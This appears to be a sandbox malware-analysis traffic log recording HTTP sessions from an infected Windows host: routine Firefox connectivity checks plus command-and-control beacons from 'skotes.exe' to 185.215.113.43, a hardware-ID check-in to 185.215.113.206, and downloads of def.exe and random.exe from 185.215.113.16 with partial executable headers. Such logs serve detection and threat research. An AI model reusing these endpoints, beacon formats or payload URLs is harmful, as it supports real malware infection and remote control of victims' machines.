Oct 30, 2024 12:37:41.022588968 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 12:37:41.150239944 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78804 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 12:37:41.369169950 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 12:37:41.497031927 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78804 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 12:37:46.069339991 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 12:37:46.197016001 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 78809 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 12:37:56.248191118 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50036	34.107.221.82	80	8032	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:39.707070112 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50041	34.107.221.82	80	8032	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:40.004054070 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	62820	34.107.221.82	80	8032	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:40.198966026 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 12:37:40.803317070 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 69729 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	62822	34.107.221.82	80	8032	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:41.040425062 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	62825	34.107.221.82	80	8032	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:41.159579992 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	62830	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:41.216836929 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 30, 2024 12:37:42.138350964 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	62831	34.107.221.82	80	8032	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:41.509393930 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 12:37:42.109138966 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 69731 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 12:37:46.207772017 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 12:37:46.332973003 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 69735 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 12:37:56.348706961 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	62845	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:43.776643038 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 12:37:44.691211939 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	62863	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:46.217415094 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 30, 2024 12:37:47.127819061 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	62880	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:49.213900089 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 12:37:50.111505985 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	62882	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:49.213995934 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 12:37:50.111705065 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 12:37:50.116080999 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDAFIEBFCBKFHIDHIJE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 33 39 46 34 32 31 30 42 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="hwid"2639F4210B1A2447771074------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="build"tale------FIDAFIEBFCBKFHIDHIJE--
Oct 30, 2024 12:37:50.399501085 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	62898	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:51.559977055 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 12:37:52.496654987 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:52 GMT Content-Type: application/octet-stream Content-Length: 2895872 Last-Modified: Wed, 30 Oct 2024 10:42:46 GMT Connection: keep-alive ETag: "67220da6-2c3000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 fa d5 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$, `@ ,,`Ui` @ @.rsrc`2@.idata 8@fbnfxrsu++:@rjcetyim ,,@.taggant@,",@
Oct 30, 2024 12:37:52.496737957 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:52.496748924 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:52.496768951 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:52.496778965 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:52.496859074 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:52.496869087 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:52.496877909 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:52.496889114 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:37:52.496900082 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2i4\elly\UJZI?\|iS~UY"Ze lOBc
Oct 30, 2024 12:37:52.502737045 CET	1236	IN	Data Raw: 74 c0 5a b0 48 cf 85 db 8f e2 74 89 56 0e 53 cd d5 cf 8c de 58 e2 6e 72 56 0c 43 18 4f 70 50 5a 18 0e 59 c9 92 99 1a c8 50 23 e0 d7 07 c3 65 05 50 ef 5c 70 94 e1 dc 0a d1 39 a9 14 9a cf 46 91 65 cf dc 1f 4f 7c 50 08 bd 5a 73 f4 55 d4 20 2f 9b 40 Data Ascii: tZHtVSXnrVCOpPZYP#eP\p9FeO\|PZsU /@\G.YBv {$p=g,yr$OA9IvKM\d^+:s?`G_u%\uk !g$E#ncSHi1'o6h_&Js*]c>=Q>d8l9Sn
Oct 30, 2024 12:37:54.188812017 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 12:37:54.474601030 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:54 GMT Content-Type: application/octet-stream Content-Length: 1933824 Last-Modified: Wed, 30 Oct 2024 11:24:18 GMT Connection: keep-alive ETag: "67221762-1d8200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 80 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@L!9@WkgLtgL @.rsrc@.idata @ P+@baulhwjgp2h@nnowpgbrpL\@.taggant0L"`@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	62899	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:51.627685070 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 30, 2024 12:37:52.541198015 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	62900	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:54.187709093 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 12:37:55.094903946 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	62902	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:37:56.646677017 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 30, 2024 12:37:57.560867071 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:37:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

